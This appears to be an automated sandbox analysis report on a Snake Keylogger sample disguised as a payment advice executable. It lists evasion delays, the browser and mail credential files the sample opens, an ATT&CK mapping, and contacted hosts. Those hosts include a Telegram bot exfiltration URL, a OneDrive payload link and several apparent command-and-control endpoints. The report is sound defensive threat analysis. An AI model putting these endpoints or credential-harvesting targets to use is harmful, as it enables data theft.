Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe TID: 4476	Thread sleep time: -595359s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe TID: 4476	Thread sleep time: -595248s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe TID: 4476	Thread sleep time: -595140s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe TID: 4476	Thread sleep time: -595031s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe TID: 4476	Thread sleep time: -594921s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe TID: 4476	Thread sleep time: -594812s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe TID: 4476	Thread sleep time: -594670s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe TID: 4476	Thread sleep time: -594562s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 0_2_004065DA FindFirstFileW,FindClose,	0_2_004065DA
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 0_2_004059A9 GetTempPathW,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,LdrInitializeThunk,FindNextFileW,FindClose,	0_2_004059A9
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 0_2_00402868 FindFirstFileW,	0_2_00402868
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 2_2_00402868 FindFirstFileW,	2_2_00402868
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 2_2_004065DA FindFirstFileW,FindClose,	2_2_004065DA
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 2_2_004059A9 DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,LdrInitializeThunk,FindNextFileW,FindClose,	2_2_004059A9

Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Thread delayed: delay time: 599875	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Thread delayed: delay time: 599765	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Thread delayed: delay time: 599656	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Thread delayed: delay time: 599547	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Thread delayed: delay time: 599437	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Thread delayed: delay time: 599322	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Thread delayed: delay time: 599218	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Thread delayed: delay time: 599109	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Thread delayed: delay time: 598999	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Thread delayed: delay time: 598890	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Thread delayed: delay time: 598781	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Thread delayed: delay time: 598671	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Thread delayed: delay time: 598562	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Thread delayed: delay time: 598453	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Thread delayed: delay time: 598343	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Thread delayed: delay time: 598234	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Thread delayed: delay time: 598125	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Thread delayed: delay time: 598015	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Thread delayed: delay time: 597906	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Thread delayed: delay time: 597797	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Thread delayed: delay time: 597687	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Thread delayed: delay time: 597567	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Thread delayed: delay time: 597453	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Thread delayed: delay time: 597343	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Thread delayed: delay time: 597234	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Thread delayed: delay time: 597125	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Thread delayed: delay time: 597015	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Thread delayed: delay time: 596906	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Thread delayed: delay time: 596796	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Thread delayed: delay time: 596687	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Thread delayed: delay time: 596578	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Thread delayed: delay time: 596468	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Thread delayed: delay time: 596359	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Thread delayed: delay time: 596250	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Thread delayed: delay time: 596140	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Thread delayed: delay time: 596031	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Thread delayed: delay time: 595922	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Thread delayed: delay time: 595797	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Thread delayed: delay time: 595687	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Thread delayed: delay time: 595578	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Thread delayed: delay time: 595468	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Thread delayed: delay time: 595359	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Thread delayed: delay time: 595248	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Thread delayed: delay time: 595140	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Thread delayed: delay time: 595031	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Thread delayed: delay time: 594921	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Thread delayed: delay time: 594812	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Thread delayed: delay time: 594670	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Thread delayed: delay time: 594562	Jump to behavior

Source: PayeeAdvice_HK54912_R0038704_37504.exe, 00000002.00000002.4179387047.0000000003378000.00000004.00000020.00020000.00000000.sdmp, PayeeAdvice_HK54912_R0038704_37504.exe, 00000002.00000002.4179387047.00000000033CC000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW

Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	API call chain: ExitProcess graph end node			graph_0-4604
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	API call chain: ExitProcess graph end node			graph_0-4758

Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe

Code function: 0_2_00404243 LdrInitializeThunk,SendMessageW,

0_2_00404243

Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe

0_2_73401B63

Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 2_2_02EF3E8D mov edx, dword ptr fs:[00000030h]		2_2_02EF3E8D
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 2_2_02EF3E5B mov edx, dword ptr fs:[00000030h]		2_2_02EF3E5B

Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe

Memory allocated: page read and write | page guard

Jump to behavior

Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe

Process created: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe "C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe"

Jump to behavior

Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Queries volume information: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe

0_2_0040336C

Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected Snake Keylogger

Source: Yara match

File source: 00000002.00000002.4201423308.00000000339C1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Yara detected Telegram RAT

Source: Yara match

File source: Process Memory Space: PayeeAdvice_HK54912_R0038704_37504.exe PID: 6104, type: MEMORYSTR

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Top Sites	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	File opened: C:\Users\user\AppData\Roaming\PostboxApp\Profiles\			Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676			Jump to behavior

Source: Yara match	File source: 00000002.00000002.4201423308.0000000033AC9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: PayeeAdvice_HK54912_R0038704_37504.exe PID: 6104, type: MEMORYSTR

Remote Access Functionality

Yara detected Snake Keylogger

Source: Yara match

File source: 00000002.00000002.4201423308.00000000339C1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Yara detected Telegram RAT

Source: Yara match

File source: Process Memory Space: PayeeAdvice_HK54912_R0038704_37504.exe PID: 6104, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	1 OS Credential Dumping	2 File and Directory Discovery	Remote Services	1 Archive Collected Data	1 Web Service	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 Access Token Manipulation	1 Deobfuscate/Decode Files or Information	LSASS Memory	215 System Information Discovery	Remote Desktop Protocol	1 Data from Local System	3 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	11 Process Injection	3 Obfuscated Files or Information	Security Account Manager	21 Security Software Discovery	SMB/Windows Admin Shares	1 Email Collection	21 Encrypted Channel	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 DLL Side-Loading	NTDS	31 Virtualization/Sandbox Evasion	Distributed Component Object Model	1 Clipboard Data	1 Non-Standard Port	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	11 Masquerading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	3 Non-Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	31 Virtualization/Sandbox Evasion	Cached Domain Credentials	1 System Network Configuration Discovery	VNC	GUI Input Capture	24 Application Layer Protocol	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Access Token Manipulation	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	11 Process Injection	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
PayeeAdvice_HK54912_R0038704_37504.exe	42%	ReversingLabs	Win32.Spyware.Snakekeylogger
PayeeAdvice_HK54912_R0038704_37504.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Temp\nsj38E6.tmp\System.dll	3%	ReversingLabs

Source	Detection	Scanner	Label
https://4jjxew.dm.files.1drv.com/D	0%	Avira URL Cloud	safe
https://4jjxew.dm.files.1drv.com/y4mO9x8ZxntK8YWdNZ0APFyw4ftQiKEA3b9ah1Wz-M1CglBAT974LE8XumXkuL0QoN-	0%	Avira URL Cloud	safe
https://4jjxew.dm.files.1drv.com/	0%	Avira URL Cloud	safe
https://4jjxew.dm.files.1drv.com/y4mO9x8ZxntK8YWdNZ0APFyw4ftQiKEA3b9ah1Wz-M1CglBAT974LE8XumXkuL0QoN-7vR_btDJUwSahkUS2M93xLAAR6xUxBf6NEExd3XZo57-YMEfTx94x1QxOp2a-8hq__KMNGGaakccwQ1sWJGhyaRsLbTLnjBQxVFJ7n1h5l7q4yyhOY91F-AdnfAux6c4nzAxrfVrEgoQU3Nn3oITjw/KwTCIrYgMbvy217.bin	0%	Avira URL Cloud	safe
https://4jjxew.dm.files.1drv.com/oft	0%	Avira URL Cloud	safe
http://foodex.com.pk	0%	Avira URL Cloud	safe
http://mail.foodex.com.pk	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
l-0003.l-dc-msedge.net	13.107.43.12	true	false	unknown
reallyfreegeoip.org	188.114.96.3	true	false	high
foodex.com.pk	37.27.123.72	true	true	unknown
api.telegram.org	149.154.167.220	true	false	high
checkip.dyndns.com	132.226.8.169	true	false	high
4jjxew.dm.files.1drv.com	unknown	unknown	true	unknown
mail.foodex.com.pk	unknown	unknown	true	unknown
api.onedrive.com	unknown	unknown	false	high
checkip.dyndns.org	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://4jjxew.dm.files.1drv.com/y4mO9x8ZxntK8YWdNZ0APFyw4ftQiKEA3b9ah1Wz-M1CglBAT974LE8XumXkuL0QoN-7vR_btDJUwSahkUS2M93xLAAR6xUxBf6NEExd3XZo57-YMEfTx94x1QxOp2a-8hq__KMNGGaakccwQ1sWJGhyaRsLbTLnjBQxVFJ7n1h5l7q4yyhOY91F-AdnfAux6c4nzAxrfVrEgoQU3Nn3oITjw/KwTCIrYgMbvy217.bin	false	Avira URL Cloud: safe	unknown
https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:841675%0D%0ADate%20and%20Time:%2020/11/2024%20/%2019:18:12%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20841675%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D	false		high
https://reallyfreegeoip.org/xml/8.46.123.75	false		high
http://checkip.dyndns.org/	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://www.office.com/	PayeeAdvice_HK54912_R0038704_37504.exe, 00000002.00000002.4201423308.0000000033BB3000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/chrome_newtab	PayeeAdvice_HK54912_R0038704_37504.exe, 00000002.00000002.4202735548.0000000034C8C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://4jjxew.dm.files.1drv.com/D	PayeeAdvice_HK54912_R0038704_37504.exe, 00000002.00000003.1946432969.00000000033E5000.00000004.00000020.00020000.00000000.sdmp, PayeeAdvice_HK54912_R0038704_37504.exe, 00000002.00000003.1946338383.00000000033E5000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/ac/?q=	PayeeAdvice_HK54912_R0038704_37504.exe, 00000002.00000002.4202735548.0000000034C8C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://api.telegram.org	PayeeAdvice_HK54912_R0038704_37504.exe, 00000002.00000002.4201423308.0000000033AA5000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	PayeeAdvice_HK54912_R0038704_37504.exe, 00000002.00000002.4202735548.0000000034C8C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://api.telegram.org/bot	PayeeAdvice_HK54912_R0038704_37504.exe, 00000002.00000002.4201423308.0000000033AA5000.00000004.00000800.00020000.00000000.sdmp	false		high
http://mail.foodex.com.pk	PayeeAdvice_HK54912_R0038704_37504.exe, 00000002.00000002.4201423308.0000000033AC9000.00000004.00000800.00020000.00000000.sdmp, PayeeAdvice_HK54912_R0038704_37504.exe, 00000002.00000002.4201423308.0000000033B54000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://api.onedrive.com/	PayeeAdvice_HK54912_R0038704_37504.exe, 00000002.00000002.4179387047.0000000003378000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.office.com/lB	PayeeAdvice_HK54912_R0038704_37504.exe, 00000002.00000002.4201423308.0000000033BAE000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	PayeeAdvice_HK54912_R0038704_37504.exe, 00000002.00000002.4202735548.0000000034C8C000.00000004.00000800.00020000.00000000.sdmp	false		high
http://checkip.dyndns.org	PayeeAdvice_HK54912_R0038704_37504.exe, 00000002.00000002.4201423308.00000000339C1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	PayeeAdvice_HK54912_R0038704_37504.exe, 00000002.00000002.4202735548.0000000034C8C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	PayeeAdvice_HK54912_R0038704_37504.exe, 00000002.00000002.4202735548.0000000034B10000.00000004.00000800.00020000.00000000.sdmp, PayeeAdvice_HK54912_R0038704_37504.exe, 00000002.00000002.4202735548.0000000034D41000.00000004.00000800.00020000.00000000.sdmp, PayeeAdvice_HK54912_R0038704_37504.exe, 00000002.00000002.4201423308.0000000033AC9000.00000004.00000800.00020000.00000000.sdmp, PayeeAdvice_HK54912_R0038704_37504.exe, 00000002.00000002.4202735548.0000000034AE8000.00000004.00000800.00020000.00000000.sdmp, PayeeAdvice_HK54912_R0038704_37504.exe, 00000002.00000002.4202735548.0000000034C3F000.00000004.00000800.00020000.00000000.sdmp, PayeeAdvice_HK54912_R0038704_37504.exe, 00000002.00000002.4202735548.0000000034C8C000.00000004.00000800.00020000.00000000.sdmp, PayeeAdvice_HK54912_R0038704_37504.exe, 00000002.00000002.4202735548.0000000034A9B000.00000004.00000800.00020000.00000000.sdmp	false		high
http://nsis.sf.net/NSIS_ErrorError	PayeeAdvice_HK54912_R0038704_37504.exe	false		high
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	PayeeAdvice_HK54912_R0038704_37504.exe, 00000002.00000002.4202735548.0000000034B10000.00000004.00000800.00020000.00000000.sdmp, PayeeAdvice_HK54912_R0038704_37504.exe, 00000002.00000002.4202735548.0000000034D41000.00000004.00000800.00020000.00000000.sdmp, PayeeAdvice_HK54912_R0038704_37504.exe, 00000002.00000002.4201423308.0000000033AC9000.00000004.00000800.00020000.00000000.sdmp, PayeeAdvice_HK54912_R0038704_37504.exe, 00000002.00000002.4202735548.0000000034AE8000.00000004.00000800.00020000.00000000.sdmp, PayeeAdvice_HK54912_R0038704_37504.exe, 00000002.00000002.4202735548.0000000034C3F000.00000004.00000800.00020000.00000000.sdmp, PayeeAdvice_HK54912_R0038704_37504.exe, 00000002.00000002.4202735548.0000000034C8C000.00000004.00000800.00020000.00000000.sdmp, PayeeAdvice_HK54912_R0038704_37504.exe, 00000002.00000002.4202735548.0000000034A9B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://api.telegram.org/bot/sendMessage?chat_id=&text=	PayeeAdvice_HK54912_R0038704_37504.exe, 00000002.00000002.4201423308.0000000033AA5000.00000004.00000800.00020000.00000000.sdmp	false		high
https://chrome.google.com/webstore?hl=en	PayeeAdvice_HK54912_R0038704_37504.exe, 00000002.00000002.4201423308.0000000033B82000.00000004.00000800.00020000.00000000.sdmp, PayeeAdvice_HK54912_R0038704_37504.exe, 00000002.00000002.4201423308.0000000033B73000.00000004.00000800.00020000.00000000.sdmp, PayeeAdvice_HK54912_R0038704_37504.exe, 00000002.00000002.4201423308.0000000033AC9000.00000004.00000800.00020000.00000000.sdmp, PayeeAdvice_HK54912_R0038704_37504.exe, 00000002.00000002.4201423308.0000000033BB3000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.ecosia.org/newtab/	PayeeAdvice_HK54912_R0038704_37504.exe, 00000002.00000002.4202735548.0000000034C8C000.00000004.00000800.00020000.00000000.sdmp	false		high
http://foodex.com.pk	PayeeAdvice_HK54912_R0038704_37504.exe, 00000002.00000002.4201423308.0000000033AC9000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://varders.kozow.com:8081	PayeeAdvice_HK54912_R0038704_37504.exe, 00000002.00000002.4201423308.00000000339C1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://aborters.duckdns.org:8081	PayeeAdvice_HK54912_R0038704_37504.exe, 00000002.00000002.4201423308.00000000339C1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://4jjxew.dm.files.1drv.com/y4mO9x8ZxntK8YWdNZ0APFyw4ftQiKEA3b9ah1Wz-M1CglBAT974LE8XumXkuL0QoN-	PayeeAdvice_HK54912_R0038704_37504.exe, 00000002.00000003.1946338383.00000000033E5000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ac.ecosia.org/autocomplete?q=	PayeeAdvice_HK54912_R0038704_37504.exe, 00000002.00000002.4202735548.0000000034C8C000.00000004.00000800.00020000.00000000.sdmp	false		high
http://51.38.247.67:8081/_send_.php?L	PayeeAdvice_HK54912_R0038704_37504.exe, 00000002.00000002.4201423308.0000000033AC9000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anotherarmy.dns.army:8081	PayeeAdvice_HK54912_R0038704_37504.exe, 00000002.00000002.4201423308.00000000339C1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://api.onedrive.com/v1.0/shares/s	PayeeAdvice_HK54912_R0038704_37504.exe, 00000002.00000002.4179387047.00000000033B2000.00000004.00000020.00020000.00000000.sdmp, PayeeAdvice_HK54912_R0038704_37504.exe, 00000002.00000003.1946432969.00000000033E5000.00000004.00000020.00020000.00000000.sdmp, PayeeAdvice_HK54912_R0038704_37504.exe, 00000002.00000002.4179903314.0000000004EB0000.00000004.00001000.00020000.00000000.sdmp, PayeeAdvice_HK54912_R0038704_37504.exe, 00000002.00000003.1946338383.00000000033E5000.00000004.00000020.00020000.00000000.sdmp	false		high
https://reallyfreegeoip.org/xml/8.46.123.75$	PayeeAdvice_HK54912_R0038704_37504.exe, 00000002.00000002.4201423308.0000000033AA5000.00000004.00000800.00020000.00000000.sdmp, PayeeAdvice_HK54912_R0038704_37504.exe, 00000002.00000002.4201423308.0000000033A38000.00000004.00000800.00020000.00000000.sdmp, PayeeAdvice_HK54912_R0038704_37504.exe, 00000002.00000002.4201423308.0000000033A7E000.00000004.00000800.00020000.00000000.sdmp	false		high
